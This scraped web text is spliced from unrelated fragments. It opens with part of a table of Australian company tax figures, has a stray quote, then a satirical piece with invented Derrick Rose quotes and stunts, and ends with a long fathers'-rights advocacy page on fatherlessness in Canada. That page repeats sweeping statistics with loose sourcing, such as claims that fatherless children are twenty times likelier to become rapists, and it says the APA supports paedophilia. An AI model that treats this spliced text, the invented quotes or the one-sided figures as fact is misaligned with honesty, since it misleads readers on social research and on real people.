1,048,880 0.8 30.0 CUSCAL LTD 271,117,330 16,728,610 2,511,853 0.9 15.0 GILEAD SCIENCES PTY LTD 163,332,937 9,663,067 1,513,162 0.9 15.7 FERRERO AUSTRALIA PTY LIMITED 181,770,272 8,110,830 1,672,823 0.9 20.6 BORAL LIMITED 4,289,352,306 190,159,404 39,510,825 0.9 20.8 ORIGIN ENERGY LIMITED 12,574,554,876 501,252,871 108,004,529 0.9 21.5 THE ROYAL AUTOMOBILE CLUB OF WA (INC) 673,558,665 24,679,869 5,776,853 0.9 23.4 AIRSERVICES AUSTRALIA 1,020,857,153 38,281,256 9,235,040 0.9 24.1 A P EAGERS LIMITED 2,561,960,532 91,824,776 22,270,429 0.9 24.3 SAP AUSTRALIA PTY LTD 679,706,494 23,089,622 5,783,044 0.9 25.0 JENNMAR AUSTRALIA PTY LTD 117,503,785 3,909,656 1,016,441 0.9 26.0 RPS ENERGY PTY LTD 219,323,944 7,132,391 1,999,955 0.9 28.0 MCPHERSON'S LIMITED 257,618,711 7,940,599 2,257,109 0.9 28.4 TEMPERZONE AUSTRALIA HOLDINGS PTY LIMITED 124,450,679 4,030,557 1,148,039 0.9 28.5 VALMONT QUEENSLAND PTY LTD 529,277,327 15,407,135 4,519,079 0.9 29.3 CROWN EQUIPMENT PTY LIMITED 349,715,641 10,681,972 3,160,444 0.9 29.6 FLUOR AUSTRALIA PTY LTD 2,608,689,201 80,816,970 23,986,277 0.9 29.7 KUEHNE & NAGEL PTY LTD 357,407,070 10,864,251 3,233,561 0.9 29.8 TETRA PAK MANUFACTURING PTY LIMITED 144,629,626 4,510,662 1,349,535 0.9 29.9 INTERNATIONAL SOS (AUSTRALASIA) PTY LTD 287,789,229 8,825,894 2,643,532 0.9 30.0 GAZAL CORPORATION LIMITED 289,733,986 8,663,648 2,597,762 0.9 30.0 STELLAR ASIA PACIFIC PTY LTD 131,016,363 4,074,075 1,222,222 0.9 30.0 INPEX AUSTRALIA PTY LTD 460,581,672 13,619,408 4,085,822 0.9 30.0 VITA GROUP LIMITED 460,164,504 14,325,048 4,297,514 0.9 30.0 SPECIALTY FASHION GROUP LIMITED 661,906,534 20,690,970 6,207,291 0.9 30.0 UNILEVER AUSTRALIA GROUP PARTNERSHIP 1,573,214,331 49,104,862 14,731,459 0.9 30.0 LINDSAY AUSTRALIA LIMITED 319,788,291 9,925,273 2,977,582 0.9 30.0 PROCTER & GAMBLE AUSTRALIA PTY LIMITED 470,569,783 13,722,346 4,116,704 0.9 30.0 ECLIPX GROUP LIMITED 280,043,017 8,535,506 2,560,652 0.9 30.0 HINO MOTOR SALES AUSTRALIA PTY LIMITED 284,784,206 8,253,246 2,475,974 0.9 30.0 MEDTRONIC AUSTRALASIA PTY LIMITED 517,194,152 16,271,982 4,881,595 0.9 30.0 FLEETCOR TECHNOLOGIES PTY LTD 127,519,718 3,915,153 1,174,546 0.9 30.0 RAG HOLDCO PTY LIMITED 242,844,766 7,534,059 2,260,218 0.9 30.0 DHL EXPRESS (AUSTRALIA) PTY LTD 331,737,426 9,445,932 2,833,780 0.9 30.0 AGCO AUSTRALIA LIMITED 203,027,513 5,956,905 1,787,072 0.9 30.0 CEREAL PARTNERS AUSTRALIA PTY LIMITED 202,437,264 14,318,888 1,946,825 1 13.6 NOVARTIS AUSTRALIA PTY LIMITED 1,191,832,345 82,502,901 12,002,134 1 14.5 ARNOTTS BISCUITS HOLDINGS PTY LTD 1,311,808,446 82,930,177 12,960,737 1 15.6 WORLEYPARSONS LIMITED 1,910,664,394 107,324,578 19,077,005 1 17.8 TOTAL AUSTRALIA LIMITED 121,500,633 6,773,769 1,228,080 1 18.1 WAM CAPITAL LIMITED 1,121,322,054 59,899,080 11,295,894 1 18.9 THERMO ELECTRON AUSTRALIA PTY LTD 311,015,605 16,113,499 3,111,878 1 19.3 LION PTY LTD 4,418,175,000 221,508,020 43,610,221 1 19.7 FINASUCRE INVESTMENTS (AUSTRALIA) PTY LIMITED 264,592,779 12,941,075 2,607,878 1 20.2 ORIGIN ENERGY URANQUINTY POWER PTY LTD 180,075,404 8,560,902 1,872,727 1 21.9 FAIRFAX MEDIA LIMITED 1,655,158,324 69,784,426 16,094,244 1 23.1 THE WALT DISNEY COMPANY (AUSTRALIA) PT Y LTD 425,885,891 18,089,055 4,429,894 1 24.5 SCHENKER AUSTRALIA PTY LIMITED 787,041,805 28,960,137 7,913,549 1 27.3 AIA AUSTRALIA LIMITED 2,417,119,203 89,716,603 24,951,097 1 27.8 BEAM GLOBAL AUSTRALIA PTY LIMITED 269,305,287 9,074,055 2,638,854 1 29.1 ATLAS COPCO SOUTH PACIFIC HOLDINGS PTY LTD 741,800,903 24,423,912 7,232,136 1 29.6 BAUER MEDIA AUSTRALIA LP 470,358,989 15,445,361 4,579,648 1 29.7 ARUP PTY LIMITED 219,993,322 7,078,941 2,104,888 1 29.7 HUHTAMAKI HOLDINGS PTY LTD 102,927,120 3,559,034 1,067,710 1 30.0 PORSCHE CARS AUSTRALIA PTY LTD 314,254,835 10,798,975 3,239,692 1 30.0 BRUNEL AUSTRALIA HOLDINGS PTY LTD 158,317,161 5,523,204 1,656,961 1 30.0 DIC AUSTRALIA PTY LTD 127,159,785 4,045,687 1,213,706 1 30.0 NIKE AUSTRALIA PTY LTD 288,254,093 9,799,314 2,939,794 1 30.0 BROWN-FORMAN AUSTRALIA PTY LIMITED 221,952,886 7,518,287 2,255,486 1 30.0 CHRYSLER AUSTRALIA PTY LTD 1,262,364,039 42,638,611 12,791,583 1 30.0 THYSSENKRUPP MANNEX PTY LTD 123,550,095 3,985,120 1,195,536 1 30.0 TOYO TYRE & RUBBER AUSTRALIA LIMITED 117,414,950 3,922,150 1,176,645 1 30.0 VOLVO CAR AUSTRALIA PTY LIMITED 233,701,377 7,688,202 2,306,461 1 30.0 REGIONAL EXPRESS HOLDINGS LIMITED 255,139,446 8,159,745 2,447,924 1 30.0 FRUCOR BEVERAGES (AUSTRALIA) PTY LIMITED 193,391,092 6,318,142 1,895,443 1 30.0 FUJITSU TEN (AUSTRALIA) PTY LTD 129,464,846 4,292,372 1,287,712 1 30.0 JBS HOLDCO AUSTRALIA PTY LTD 4,040,948,610 419,882,525 44,809,334 1.1 10.7 TASSAL GROUP LIMITED 282,527,000 29,250,510 3,209,159 1.1 11.0 ROCHE PRODUCTS PTY LIMITED 642,943,000 62,960,957 7,075,541 1.1 11.2 MONSANTO AUSTRALIA LIMITED 222,282,731 14,484,970 2,374,533 1.1 16.4 AUSTRALIAN POSTAL CORPORATION 6,397,246,721 399,897,708 68,882,229 1.1 17.2 AMGROW PTY LTD 422,182,986 23,599,351 4,838,458 1.1 20.5 WAM ACTIVE LIMITED 102,653,140 5,225,724 1,092,113 1.1 20.9 AUSTRALIAN LEADERS FUND LIMITED 1,040,512,087 52,679,014 11,910,429 1.1 22.6 SERCO GROUP PTY LIMITED 1,439,514,944 67,240,810 15,532,018 1.1 23.1 TOLL HOLDINGS LIMITED 5,696,419,833 239,751,558 62,869,944 1.1 26.2 FM INSURANCE COMPANY LIMITED 270,751,184 11,043,905 2,939,762 1.1 26.6 INFRATIL ENERGY AUSTRALIA PTY LTD 718,069,102 30,688,396 8,239,955 1.1 26.9 AUSCO HOLDINGS PTY LIMITED 174,141,034 7,319,279 2,000,211 1.1 27.3 HANNOVER RUECK SE AUSTRALIAN BRANCH 509,574,662 19,796,592 5,543,440 1.1 28.0 SGS AUSTRALIA HOLDINGS PTY LTD 327,663,319 12,336,679 3,550,997 1.1 28.8 THE REJECT SHOP LIMITED 713,545,776 28,161,553 8,138,322 1.1 28.9 JAGUAR LAND ROVER AUSTRALIA PTY LTD 682,407,526 26,381,712 7,627,428 1.1 28.9 COMPETITIVE FOODS AUSTRALIA PTY LTD 1,038,825,604 38,383,187 11,274,074 1.1 29.4 HELLA ASIA PACIFIC PTY LTD 114,262,906 4,070,858 1,221,257 1.1 30.0 ROHLIG AUSTRALIA PTY LIMITED 124,814,998 4,405,781 1,321,734 1.1 30.0 BROTHER INTERNATIONAL (AUSTRALIA) PTY LIMITED 186,291,944 6,875,231 2,062,569 1.1 30.0 GE HEALTHCARE AUSTRALIA PTY LIMITED 305,063,099 10,731,671 3,219,501 1.1 30.0 SRG LIMITED 223,125,625 8,044,424 2,413,327 1.1 30.0 HIGHLAND AUTOS PTY LTD 115,829,284 4,114,967 1,234,490 1.1 30.0 ALLSEAS CONSTRUCTION CONTRACTORS SA 771,779,777 29,469,207 8,840,762 1.1 30.0 RENTOKIL PTY LTD 202,761,860 7,767,220 2,330,166 1.1 30.0 HYUNDAI MOTOR COMPANY AUSTRALIA PTY LIMITED 2,165,383,649 78,991,402 23,697,421 1.1 30.0 SOUTHERN CROSS ALUMINIUM PTY LIMITED 138,961,617 5,306,113 1,591,834 1.1 30.0 AHI-CARRIER (AUSTRALIA) PTY LTD 119,325,131 4,217,143 1,265,143 1.1 30.0 IAN WEIGH MOTORS PTY LTD & WEIGH PROPERTY INVESTMENTS PTY LTD 109,911,648 4,014,242 1,204,273 1.1 30.0 ANIXTER AUSTRALIA PTY LTD 105,870,925 3,725,992 1,117,798 1.1 30.0 AMP LIMITED 30,122,634,357 4,939,066,279 375,599,394 1.2 7.6 AEGIS AUSTRALIA HOLDINGS PTY LTD 388,382,443 28,409,118 4,729,182 1.2 16.6 BOEHRINGER INGELHEIM PTY LIMITED 396,003,110 24,581,184 4,784,789 1.2 19.5 FUJITSU AUSTRALIA LIMITED 962,861,275 55,597,059 11,161,741 1.2 20.1 OUTOTEC PTY LIMITED 443,273,438 24,687,920 5,155,926 1.2 20.9 SEDGMAN LIMITED 270,480,935 14,459,852 3,370,694 1.2 23.3 DEMATIC HOLDINGS PTY LTD 148,627,534 6,959,819 1,709,826 1.2 24.6 DSI HOLDINGS 2 AUSTRALIA PTY LIMITED 204,801,320 9,654,411 2,549,666 1.2 26.4 ALLERGAN AUSTRALIA PTY LTD 184,994,979 8,550,591 2,300,487 1.2 26.9 RICOH AUSTRALIA PTY LTD 460,850,475 20,299,112 5,717,663 1.2 28.2 APPLE PTY LTD 6,152,690,557 247,363,687 74,100,675 1.2 30.0 BIDVEST AUSTRALIA LIMITED 2,451,232,850 99,434,902 29,804,339 1.2 30.0 COVIDIEN PTY LIMITED 333,222,969 13,024,299 3,907,242 1.2 30.0 SIRVA (ASIA PACIFIC) PTY LTD 144,879,266 5,800,861 1,740,258 1.2 30.0 AUSTRALIAN GOVERNMENT SOLICITOR 113,039,185 4,688,184 1,406,455 1.2 30.0 TRANSDEV AUSTRALASIA PTY LTD 480,245,253 19,561,878 5,868,563 1.2 30.0 FRASERS TOWN HALL PTY LIMITED 127,928,134 5,237,597 1,571,279 1.2 30.0 HYDRONOVA AUSTRALIA NZ PTY LTD 155,015,558 6,270,770 1,881,231 1.2 30.0 SWIRE PACIFIC OFFSHORE PTY LTD 115,232,237 4,712,010 1,413,603 1.2 30.0 SCANIA AUSTRALIA PTY LTD 335,774,399 13,671,583 4,101,475 1.2 30.0 STANLEY BLACK & DECKER HOLDINGS AUSTRA LIA PTY LTD 184,686,425 7,291,873 2,187,562 1.2 30.0 SONIC CLINICAL SERVICES PTY LTD 350,487,152 14,088,946 4,226,684 1.2 30.0 ACCENT GROUP PTY LTD 130,708,267 5,381,072 1,614,322 1.2 30.0 STAMFORD HOTELS AND RESORTS PTY LIMITED 120,643,559 4,773,002 1,431,901 1.2 30.0 WESTOZ INVESTMENT COMPANY LIMITED 125,673,508 11,947,750 1,614,835 1.3 13.5 INNOVIA FILMS (HOLDING) PTY LTD 202,990,045 16,331,307 2,623,016 1.3 16.1 RHEEM AUSTRALIA PTY LIMITED 347,675,825 22,472,481 4,371,544 1.3 19.5 DORSOGNA LIMITED 150,167,514 9,787,155 1,958,710 1.3 20.0 EATON INDUSTRIES PTY LTD 281,768,207 13,895,766 3,564,775 1.3 25.7 MYER HOLDINGS LIMITED 2,781,927,351 146,120,250 37,506,107 1.3 25.7 WILSON PARKING AUSTRALIA 1992 PTY LTD 898,967,836 41,866,085 11,302,548 1.3 27.0 BUPA AUSTRALIA HEALTHCARE HOLDINGS PTY LIMITED 6,075,403,068 283,970,972 80,174,661 1.3 28.2 ACE AUSTRALIA HOLDINGS PTY LIMITED 622,031,079 27,455,363 7,829,730 1.3 28.5 FRASERS PROPERTY AUSTRALIA PTY LIMITED 484,025,344 21,924,144 6,448,044 1.3 29.4 GE ENERGY HOLDINGS AUSTRALIA PTY LTD 322,089,670 14,365,979 4,304,775 1.3 30.0 CHAMBERLAIN HOLDINGS LIMITED 930,471,303 41,788,971 12,529,615 1.3 30.0 GRUNDFOS PUMPS PTY LTD 121,513,000 5,400,001 1,620,000 1.3 30.0 CIMC MODULAR BUILDING SYSTEMS (AUSTRALIA) PTY LTD 122,725,581 5,473,051 1,641,915 1.3 30.0 BERNAFON AUSTRALIA PTY LTD 153,101,450 6,577,421 1,973,226 1.3 30.0 KOMATSU MARKETING SUPPORT AUSTRALIA PTY LTD 1,529,515,662 64,409,154 19,322,746 1.3 30.0 KIA MOTORS AUSTRALIA PTY LIMITED 711,284,645 30,887,372 9,266,212 1.3 30.0 SOLITAIRE MARINE CONTRACTORS SA 278,297,250 11,606,999 3,482,100 1.3 30.0 PRO-PAC PACKAGING LIMITED 220,074,854 9,581,172 2,874,352 1.3 30.0 STEADFAST GROUP LIMITED 110,447,507 22,261,333 1,576,836 1.4 7.1 SERVIER LABORATORIES (AUST) PTY LTD 114,328,785 15,465,930 1,572,529 1.4 10.2 FREEDOM FOODS GROUP LIMITED 106,488,723 13,612,137 1,449,243 1.4 10.6 SCHNEIDER ELECTRIC AUSTRALIA HOLDINGS PTY LTD 1,156,215,321 87,698,344 15,858,713 1.4 18.1 SPECSAVERS PTY LIMITED 334,067,468 22,510,178 4,803,149 1.4 21.3 RFI HOLDINGS PTY LTD 114,692,621 7,028,750 1,548,398 1.4 22.0 THOMSON REUTERS AUSTRALIA PTY LTD 312,312,961 18,856,523 4,475,934 1.4 23.7 DAMPIER SALT LTD 508,624,584 27,010,305 7,118,430 1.4 26.4 ECOLAB PTY LTD 431,422,743 22,836,297 6,192,076 1.4 27.1 BAXTER HEALTHCARE PTY LIMITED 533,945,444 27,399,501 |
an impact, but as of now my focus is on this particular case," said Calida. "So whether it will have an impact of the other cases, as of now that's not my concern."Derrick Rose has always kept his cool when faced with media scrutiny, but today there was clear frustration when reporters swarmed him after a pregame shoot-around. Many have questioned Rose who continues to sit out regular season games despite looking extremely impressive during practice sessions.
“If I can’t play in games, then I can’t play in games,” Rose said. “It’s as simple as that. I mean listen, we here talking ‘bout games! Not practice! We ain’t talking about a real practice. We talking ‘bout games!”
During the shoot-around, Rose was seen doing three-sixty-reverse-double-pump-windmill-dunks. He routinely lapped the entire team during sprints.
“We sitting here talking ‘bout games.” (Laughter) “Now I know I’m supposed to be the franchise player, and you believe this, we talking ‘bout games.” (More laughter)
Rose grew more frustrated as the questions continued. “Listen, it’s not like I’m missing practices. You see me out there in the arena practicing. We talking ‘bout games! You see me giving everything I got during practice, but games?” (Laughter) “Are we really talking ‘bout games?”
It was clear Rose had had enough as he then sprung from his seat and back-flipped out of the reach of reporters before cartwheeling his way down the hall and into the locker-room.Fatherless Children in Canada
Fatherlessness is one of the greatest social problems in Canada
Interesting Quote from Amy Alkon, The Advice Goddess, syndicated columnist in over 100 US and Canadian publications:
-While the law allows women to turn casual sex into cash flow sex, Penelope Leach, in her book Children First, poses an essential question: “Why is it socially reprehensible for a man to leave a baby fatherless, but courageous, even admirable, for a woman to have a baby whom she knows will be so?â€
fathers commit a tiny minority of child abuse and about half the domestic violence.
The vast majority of child physical and sexual abuse is committed in single-parent homes, home usually where the father is not present. "Contrary to public perception, research shows that the most likely physical abuser of a young child will be that childs mother, not a male in the household." [Patrick Fagan and Dorothy Hanks, The Child Abuse Crisis: The Disintegration of Marriage, Family, and the American Community (Washington, DC: Heritage Foundation "Backgrounder," 3 June 1997), p. 16.]
The father is the parent most likely to be the protector of children. "The presence of the father... placed the child at lesser risk for child sexual abuse," according to David L. Rowland, Laurie S. Zabin, and Mark Emerson, in a study of low-income families. "The protective effect from the father's presence in most households was sufficiently strong to offset the risk incurred by the few paternal perpetrators." ["Household Risk and Child Sexual Abuse in a Low Income, Urban Sample of Women," Adolescent and Family Health, vol. 1, no. 1 (Winter 2000), pp. 29-39.]
A British study found children are up to 33 times more likely to be abused when a live-in boyfriend or stepfather is present than in an intact family. [Robert Whelan, Broken Homes and Battered Children: A Study of the Relationship between Child Abuse and Family Type (London: Family Education Trust, 1993), p. 29.]
Cornell University professor Urie Bronfenbrenner
One of the most eminent developmental psychologists of our time wrote:
"Controlling for factors such as low income, children growing up in [father absent] households are at a greater risk for experiencing a variety of behavioural and educational problems, including extremes of hyperactivity and withdrawal; lack of attentiveness in the classroom; difficulty in deferring gratification; impaired academic achievement; school misbehaviour; absenteeism; dropping out; involvement in socially alienated peer groups, and the so-called teenage syndrome of behaviours that tend to hang together smoking, drinking, early and frequent sexual experience, and in the more extreme cases, drugs, suicide, vandalism, violence, and criminal acts."
Paternal Abandonment
Research, mainly in the Unites States, published in refereed journals by respected scholars like Sanford Braver, Margaret Brinig, Douglas Allen, Ilene Wolcott, Jody Hughes, Judith Wallerstein, and Sandra Blakeslee, and corroborated by the professional experience of authors as ideologically diverse as Constance Ahrons, Shere Hite, David Chambers, Robert Seidenberg, and Rosalind Miles, indicates that paternal abandonment cannot account for widespread fatherlessness.
Father-deprivation is a more reliable predictor of criminal activity than race, environment or poverty.
Father-deprived children are:
72% of all teenage murderers. 60% of rapists. 70% of kids incarcerated. twice as likely to quit school. 11 times more likely to be violent. 3 of 4 teen suicides. 80% of the adolescents in psychiatric hospitals. 90% of runaways Sources: National Fatherhood Initiative (U.S.A.), US Bureau of Census (U.S.A.), FBI (U.S.A.) "Father-deprivation is a serious form of child abuse that is institutionalized and entrenched within our legal system. Powerful sexist people have a vested interest in diminishing the role of men, especially their role as fathers. Research proves that children thrive with the active and meaningful participation of both biological parents, and is true for post-divorce families." (Dick Feeman, Joseph Maiello, Mike Jebbet, "Child Custody or Child Abuse", Victoria Times-Colonist, Jan 8, 1998).
Published in Review of General Psychology of The American Psychological Association, Inc
This review contains such topics as:
Father Love Is as Important as Mother Love
Father Love Predicts Specific Outcomes Better Than Mother Love
Father Love Is the Sole Significant Predictor of Specific Outcomes
Father Love Moderates the Influence of Mother Love
Paternal Versus Maternal Parenting May Be Associated With Different Outcomes in Sons and Daughters
More..
Fatherlessness Statistics
Children who grew up fatherless are:
Eight times more likely to go to prison.
Five times more likely to commit suicide.
20 times more likely to have behavioural problems.
20 times more likely to become rapists.
32 times more likely to become runaways.
10 times more likely to abuse chemical substances.
Nine times more likely to drop out of high school.
One-tenth as likely to get A's in school.
The Institute for the Study of Civil Society ( Civitas ) U.K.
Stunning statistics on the problems of fatherless homes
Experiments in Living: The Fatherless Family- Rebecca ONeill-CIVITAS-2002
The American Psychological Association, Inc., The Journal of Family Psychology, December 1999 Vol. 13, No. 4, 568-579
by Robert E. Emery, Mary Waldron and Katherine M. Kitzmann.
This is another study showing that children are significantly disadvantaged in never-married sole maternal custody or divorced sole-maternal custody than in intact families. In fact, the study does indicate that the damage of divorce is about the same level as never having the children involved with their father. Certainly, raising children outside of the influence of both parents is clearly detrimental to the child. More..
by Geoffrey P. Miller, from New York University School of Law, Public Law and Legal Theory Working Paper Series, Working Paper 5, 1999. The paper discusses the perceptions and reality of the involvement of fathers during pregnancy, childbirth, and early childhood. More..
34% of children in the United States live without their biological father
Violent criminals are overwhelmingly males who grew up without fathers.
Read the complete statistics More..
Newspaper Articles
Judicial passivism turning fathers into deadbeats
Judges refuse to enforce Divorce Act section that embraces equal access to child
The Edmonton Journal, Grant A. Brown, Freelance, Saturday, June 17, 2006
When mothers lose in court, they are not made to pay court costs -- again on the premise that this would only take money away from the children. But payment of penalties and costs is merely a transfer between parents, and only prejudice supports the proposition that fathers would be less generous toward their children than mothers, given the time and financial ability to do so.
Contrast the endless lame excuses judges use not to impose remedies for access denial with their attitude toward making and enforcing child-support orders. More..
How "Daddy" affects your job: psychologist
Reuters, U.S.A., By Ellen Wulfhorst Fri May 12, 2006
NEW YORK, U.S.A. (Reuters) - Successes or failures of employees in the workplace can be traced to what kind of father they had, a psychologist argues in a new book.
In "The Father Factor," Stephan Poulter lists five styles of fathers -- super-achieving, time bomb, passive, absent and compassionate/mentor -- who have powerful influences on the careers of their sons and daughters. More..
Put kids first, judge tells parents
His family court sees conflicts daily
Complex reasons why dads absent
The Toronto Star, ANDREA GORDON, FAMILY ISSUES REPORTER, Jan. 16, 2006.
Children pay a big price when they grow up without fathers, but it's unfair to blame it all on men who walk away, says a North York family court judge.
Harvey Brownstone says he welcomes recent public discussion about the risks faced by kids who don't have a father in their lives.
But Brownstone, who has seen thousands of support, custody and access cases during his 11 years on the bench, says there are many misperceptions about why it's happening. And most often it's because parents can't get along or want nothing to do with each other.
"You would be shocked how many men say, `I didn't know I had a child until I got these court papers,'" he says in an interview at his office in the provincial court building.
And, when they find out, almost all of them take steps to become involved in their child's life, even if it's years after the child was born, Brownstone says. More..
Boys harmed by fathers' absence
The Age (Melbourne, Australia), By CHLOE SALTAU, Tuesday April 3, 2001
Boys are disadvantaged without the emotional presence of a man in their lives, according to a social researcher who is interviewing men about relationships with their fathers.
Patra Antonis, a psychologist, counsellor and Swinburne University masters student, says men should "be around the herd" and bond with their sons in an inherently male, "rough-and-tumble" way. Her theory is likely to reignite the debate about the impact of absent fathers on the development of their sons.
Ms Antonis is undertaking the research at a time when she says increases in the divorce rate and the rise of out-of-wedlock childbearing have changed families and the role of parents within them. More..
Calgary Herald, Charles W. Moore, July 29, 1999
Feminist "analysis" dismissive of fathers
Charles W. Moore goes after quack psychologists busy "deconstructing" fatherhood
I am beginning to wonder if being a card-carrying lunatic facilitates getting published in journals of the American Psychological Association (APA)
A report, recently published in the APA's Psychological Bulletin, by Bruce Rind, Philip Tromovitch and Robert Bauserman, asserted that the "negative potential" of child sexual abuse has "been overstated." The authors rationalized that while "child sexual abuse is harmful," supposedly consensual "child -adult sex" is not necessarily harmful and may, in some cases, even be "beneficial." More..
Research proves that fatherhood really matters
Tallahassee Democrat, KNIGHT RIDDER TRIBUNE, USA, By Roland C. Warren, April 20, 2002 More..
Dad's 1m fight for his child
Coventry Evening Telegraph, City News, U.K. by Liz Hazelton, July 27, 2004 More..
Landmark Ruling Grants Father Custody of Children
The Scotsman, PA News (U.K.),ead, July 3, 2004 More..
Children who have contact with their fathers following a family break-up suffer fewer behavioural problems, academics said today.
The Journal of Child Psychology and Psychiatry, May 26, 2004, Manchester Online, U.K. More..
Fathers 'have key role with children' after families split
The Telegraph, London, U.K., By Sarah Womack, Social Affairs Correspondent, May 26, 2004 More..
New Canadian Study of Fathers
Study aims to salvage image of fatherhood. First of its kind in Canada: 'Fathers are often treated as buffoons in our public images' More..
Letter to the editor:
Generations lost to 'fatherlessness'
The StarPhoenix, Saskatoon, Saskatchewan, Canada, David A. Giles, March 11, 2004, More..
Fathers are not out of fashion
Don't believe the hype - we are facing a crisis of female fertility, not fatherhood, says Jack O'Sullivan
The Guardian U.K., January 28, 2004 More..
Fathers no longer required: Fertility chief signals an IVF revolution
The Independent, UK, By Jeremy Laurance, Health Editor, January 21, 2004 More..
Suzi Leather: 'It's the relationship's quality that counts, not people's sex'
Interview: Head of fertility watchdog says writing fathers out of the rules will extend the chance of treatment to all women
The Independent, UK, By Jeremy Laurance, Health Editor, January 21, 2004 More..
Research proves that fatherhood really matters
Tallahassee Democrat, KNIGHT RIDDER TRIBUNE, By Roland C. Warren, April 20, 2002 More..
Transforming the Culture of Fatherlessness
by Rev. Robert A. Sirico, Acton President, May 23, 2001, Acton Commentary More..
The Truth About Deadbeat Dads
Reader's Digest Canada, April, 2001, by Gladys Pollack More..
By Kathleen Parker, The Orlando Sentinel, USA, on July 18, 1999
Now is the time for all good fathers to come to the aid of the family.
But you'd better hurry; your days are numbered. In fact, if you happen to be a heterosexual male (further doomed by Caucasian pigmentation), your days are already over, according to a cover article in the June issue of American Psychologist, published by the American Psychological Association.
In their article, "Deconstructing the Essential Father," researchers Louise B. Silverstein and Carl F. Auerbach challenge one of the core institutions of our culture -- fatherhood. More or less, fathers, as we've known and loved them, are obsolete.
The article makes numerous breathtaking assertions, but basically the researchers state that:
Fathers aren't essential to the well-being of children. More..
Prepared from references in the United States of America:
Whitehead BF. Facing the Challenges of Fragmented Families. The Philanthropy Roundtable 1995; 9: 21. Eberstadt N. America’s Infant Mortality Puzzle. The Public Interest Fall, 1991. Kleinman JC, Kessel SS. Racial Differences in Low Birth Weight. New England Journal of Medicine 1987; 317: 749-753. Lester D. Infant Mortality and Illegitimacy. Social Science and Medicine 1992; 35: 739-740. Dawson DA. Family Structure and Children’s Health and Well-Being. Journal of Marriage and the Family 1991; 53: 573-584. Johnson RA, Haffman JP, Gerstein DR. The Relationship between Family Structure and Adolescent Substance Use. Washington, DC: DHHS, 1996. Smith L. The New Wave of Illegitimacy. Fortune 1994; 18: 81-94. Chart: US Bureau of the Census, Marital Status and Living Arrangements: March 1990. Current Population Report, p. 20, Washington, DC, 1993
One of the great papers confirming that the inclusion of both parents under a joint parenting arrangement is in the best interests of children is the meta-analytic study summarised in "Child Adjustment in Joint-Custody Versus Sole-Custody Arrangements: A Meta-Analytic Review" by Robert Bauserman from the Journal of Family Psychology, 2002, Vol. 16, No. 1, p. 91102. This study was announced in the American Psychological Associations Monitor, a copy of which is at More...
Civitas: the Institute for the Study of Civil Society was founded in the UK to "deepen public understanding of the legal, institutional and moral framework that makes a free and democratic society possible." They have done some excellent work about how families are being destroyed and the toll that is taking on children and society. They have produced an excellent study of the impact of the "failed experiment" of fatherless families in and excellent study, available in PDF format, entitled Experiments in Living: The Fatherless Family. This is a great, and true, read. I would suggest it to every one. The study, and more very good material is available from Civitas's website at http://www.civitas.org.uk.
Prolific writer, professor and activist Stephen Baskerville wrote a great article for the Liberty journal, available in PDF format, entitled The Myth of Deadbeat Dads. I would highly recommend this to anyone who is interested in the astounding demonization of fathers in the US and the rest of the Western world.
Child Adjustment in Joint-Custody Versus Sole-Custody Arrangements: A Meta-Analytic Review PDF
by Robert Bauserman, Journal of Family Psychology (2002), Vol. 16, No. 1, 91102 is an important study. It shows that children who have meaningful contact with both parents are significantly (statistically speaking) better off due to the lack of the damage done to children who lose contact with their father through divorce and the actions and inactions of the courts. Although there is only small numbers of sole parental custody cases in the study, it does indicate that that joint custody is superior there too. Children do need both parents active and part of their lives. This is a journal of the American Psychological Association, so there is some soft-pedalling of the result although the anti-family groups will likely trot out the old myths again, although the study disproves them. The APA has been wonderful in this case and made the paper available to the public at http://www.apa.org/journals/fam/press_releases/march_2002/fam16191.pdf (which is where our link took you). The abstract is below, but I would note that in states were joint custody is really the default decision, conflict between parties has always been lower since there is no gain, and only loss, by a party creating conflict.
The author meta-analyzed studies comparing child adjustment in joint physical or joint legal custody with sole-custody settings, including comparisons with paternal custody and intact families where possible. Children in joint physical or legal custody were better adjusted than children in sole-custody settings, but no different from those in intact families. More positive adjustment of joint-custody children held for separate comparisons of general adjustment, family relationships, self-esteem, emotional and behavioural adjustment, and divorce-specific adjustment. Joint-custody parents reported less current and past conflict than did sole-custody parents, but this did not explain the better adjustment of joint-custody children. The results are consistent with the hypothesis that joint custody can be advantageous for children in some cases, possibly by facilitating ongoing positive involvement with both parents.
By Emery, Robert E.; Waldron, Mary; Kitzmann, Katherine M.; Aaron, Jeffrey
Journal of Family Psychology, Vol 13(4), Dec 1999, 568-579.
Abstract
In a longitudinal study of a national sample, more externalizing behavior problems were found among 222 children from never-married and 142 children from divorced families than among 840 children from married families. However, delinquent behavior reported when future mothers were single, childless adolescents prospectively predicted their future marital status and behavior problems among their offspring 14 years later. Maternal history of delinquent behavior accounted for much, but not all, of the relationship between marital status and children's externalizing behavior. Divorce and nonmarital childbirth do not occur at random, and these findings demonstrate that marital status is predicted by individual characteristics as well as by demographic factors. These findings highlight the importance of cautiously interpreting the much-discussed correlation between marital status and children's behavior problems.
by Gary Painter, from the Institute of Industrial Relations Working Paper Series, No. 69, September 24, 1999 explores the fact that growing up in family that lacks a biological father is correlated with a number of poor outcomes and that those correlations are casual.
by Geoffrey P. Miller, from New York University School of Law, Public Law and Legal Theory Working Paper Series, Working Paper 5, 1999 discusses the perceptions and reality of the involvement of fathers during pregnancy, childbirth, and early childhood.
Edited by Stuart Birks and Paul Callistert. Published by the Centre for Public Policy Evaluation, Massey University, New Zealand.
It has very good information about fathers, fatherhood and fathering-related topics.
The Canadian Journal of Human Sexuality, Vol. 8(1) Spring 1999, p. 39-45, by Tanya S. Scheffler and Peter J. Naus.
This paper describes how women grow up to be more comfortable with themselves if they have on-going and positive affirmation by their father. More..
This contentious article written by Louise B. Silverstein, Ph.D.and Carl F. Auerbach, Ph.D. was published in the American Psychological Association's publication, The American Psychologist, Volume 54, Number 6 (June 1999), p. 397-407.
The article defines "essential" as being something other than essential, but a rejection of the theories of Blankenhorn and Popenoe instead. It then uses "deconstruction" (a philosophical argument growing out of existentialism that basically says that words have no meaning so any study written down has no meaning except, presumably, this one) to dismiss the massive amounts of material on (1) men, and (2) men and children. It then goes on to use one of the author's small studies on certain ethnic males in a poor attempt to provide some validity to the preposterous, and admitted purely political arguments, of the authors -- which is most strongly anti-marriage. This particular article, along with a previous article supporting paedophilia show the new direction of the American Psychological Association, and goes even further to discrediting the basic fakery of the psychologists.
Abstract
